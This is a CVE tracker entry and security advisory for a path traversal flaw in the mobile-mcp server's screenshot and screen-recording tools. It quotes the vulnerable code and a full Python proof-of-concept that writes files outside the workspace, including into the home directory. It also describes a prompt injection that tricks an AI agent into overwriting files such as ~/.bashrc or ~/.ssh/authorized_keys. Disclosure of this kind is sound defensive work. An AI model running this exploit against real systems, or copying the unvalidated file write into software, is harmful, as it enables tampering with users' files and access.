CVE-2026-33989
mediumpriority · track · 26EPSS 0.005 · 42 %ileEUUSEPSS · scored 2026-10-27
Mobile Next is an MCP server for mobile development and automation. Prior to version 0.0.49, the `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. Version 0.0.49 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6–8.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-3p2m-h2v6-g9mx@mobilenext/mobile-mcp alllows arbitrary file write via Path Traversal in mobile screen capture tools2026-03-27ghsa · osvUS
### Summary The `@mobilenext/mobile-mcp` server contains a Path Traversal vulnerability in the `mobile_save_screenshot` and `mobile_start_screen_recording` tools. The `saveTo` and `output` parameters were passed directly to filesystem operations without validation, allowing an attacker to write files outside the intended workspace. ### Details **File:** `src/server.ts` (lines 584-592) ```typescript tool( "mobile_save_screenshot", "Save Screenshot", "Save a screenshot of the mobile device to a file", { device: z.string().describe("The device identifier..."), saveTo: z.string().describe("The path to save the screenshot to"), }, { destructiveHint: true }, async ({ device, saveTo }) => { const robot = getRobotFromDevice(device); const screenshot = await robot.getScreenshot(); fs.writeFileSync(saveTo, screenshot); // ← VULNERABLE: No path validation return `Screenshot saved to: ${saveTo}`; }, ); ``` ### Root Cause The `saveTo` parameter is passed directly to `fs.writeFileSync()` without any validation. The codebase has validation functions for other parameters (`validatePackageName`, `validateLocale` in `src/utils.ts`) but **no path validation function exists**. ### Additional Affected Tool **File:** `src/server.ts` (lines 597-620) The `mobile_start_screen_recording` tool has the same vulnerability in its `output` parameter. ### PoC ```py #!/usr/bin/env python3 import json import os import subprocess import sys import time from datetime import datetime SERVER_CMD = ["npx", "-y", "@mobilenext/mobile-mcp@latest"] STARTUP_DELAY = 4 REQUEST_DELAY = 0.5 def log(level, msg): print(f"[{level.upper()}] {msg}") def send_jsonrpc(proc, msg, timeout=REQUEST_DELAY): """Send JSON-RPC message and receive response.""" try: proc.stdin.write(json.dumps(msg) + "\n") proc.stdin.flush() time.sleep(timeout) line = proc.stdout.readline() return json.loads(line) if line else None except Exception as e: log("error", f"Communication error: {e}") return None def send_notification(proc, method, params=None): """Send JSON-RPC notification (no response expected).""" msg = {"jsonrpc": "2.0", "method": method} if params: msg["params"] = params proc.stdin.write(json.dumps(msg) + "\n") proc.stdin.flush() def start_server(): """Start the mobile-mcp server.""" log("info", "Starting mobile-mcp server...") try: proc = subprocess.Popen( SERVER_CMD, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, ) time.sleep(STARTUP_DELAY) if proc.poll() is not None: stderr = proc.stderr.read() log("error", f"Server failed to start: {stderr[:200]}") return None log("info", f"Server started (PID: {proc.pid})") return proc except FileNotFoundError: log("error", "npx not found. Please install Node.js") return None def initialize_session(proc): """Initialize MCP session with handshake.""" log("info", "Initializing MCP session...") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "mcpsec-exploit", "version": "1.0"}, }, }, ) if not resp or "error" in resp: log("error", f"Initialize failed: {resp}") return False send_notification(proc, "notifications/initialized") time.sleep(0.5) server_info = resp.get("result", {}).get("serverInfo", {}) log("info", f"Session initialized - Server: {server_info.get('name')} v{server_info.get('version')}") return True def get_devices(proc): """Get list of connected devices.""" log("info", "Enumerating connected devices...") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "mobile_list_available_devices", "arguments": {}}, }, ) if resp: content = resp.get("result", {}).get("content", [{}])[0].get("text", "") try: devices = json.loads(content).get("devices", []) return devices except: log("warning", f"Could not parse device list: {content[:100]}") return [] def exploit_path_traversal(proc, device_id, target_path): """Execute path traversal exploit.""" log("info", f"Target path: {target_path}") resp = send_jsonrpc( proc, { "jsonrpc": "2.0", "id": 100, "method": "tools/call", "params": { "name": "mobile_save_screenshot", "arguments": {"device": device_id, "saveTo": target_path}, }, }, timeout=2, ) if resp: content = resp.get("result", {}).get("content", [{}]) if isinstance(content, list) and content: text = content[0].get("text", "") log("info", f"Server response: {text[:100]}") check_path = target_path if target_path.startswith(".."): check_path = os.path.normpath(os.path.join(os.getcwd(), target_path)) if os.path.exists(check_path): size = os.path.getsize(check_path) log("info", f"FILE WRITTEN: {check_path} ({size} bytes)") return True, check_path, size elif "Screenshot saved" in text: log("info", f"Server confirmed write (file may be at relative path)") return True, target_path, 0 log("warning", "Exploit may have failed or file not accessible") return False, target_path, 0 def main(): device_id = sys.argv[1] if len(sys.argv) > 1 else None proc = start_server() if not proc: sys.exit(1) try: if not initialize_session(proc): sys.exit(1) if not device_id: devices = get_devices(proc) if devices: log("info", f"Found {len(devices)} device(s):") for d in devices: print(f" - {d.get('id')} - {d.get('name')} ({d.get('platform')}, {d.get('state')})") device_id = devices[0].get("id") log("info", f"Using device: {device_id}") else: log("error", "No devices found. Please connect a device and try again.") log("info", "Usage: python3 exploit.py <device_id>") sys.exit(1) home = os.path.expanduser("~") exploits = [ "../../exploit_2_traversal.png", f"{home}/exploit.png", f"{home}/.poc_dotfile", ] results = [] for target in exploits: success, path, size = exploit_path_traversal(proc, device_id, target) results.append((target, success, path, size)) finally: proc.terminate() log("info", "Server terminated.") if __name__ == "__main__": main() ``` ### Impact A Prompt Injection attack from a malicious website or document could trick the AI into overwriting sensitive host files (e.g., `~/.bashrc`, `~/.ssh/authorized_keys`, or `.config` files) leading to a broken shell.
also known as (3)
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sources
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references (11)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2026-33989cnnvd
- https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153bcnnvd
- https://github.com/mobile-next/mobile-mcp/releasesPatchcnnvd
- https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49cnnvd
- https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mxcnnvd
- https://github.com/mobile-next/mobile-mcp/commit/f5e32295903128c1e71cf915ae6c0b76c7b0153benisa_euvd
- https://github.com/mobile-next/mobile-mcp/releases/tag/0.0.49enisa_euvd
- https://github.com/mobile-next/mobile-mcp/security/advisories/GHSA-3p2m-h2v6-g9mxenisa_euvd
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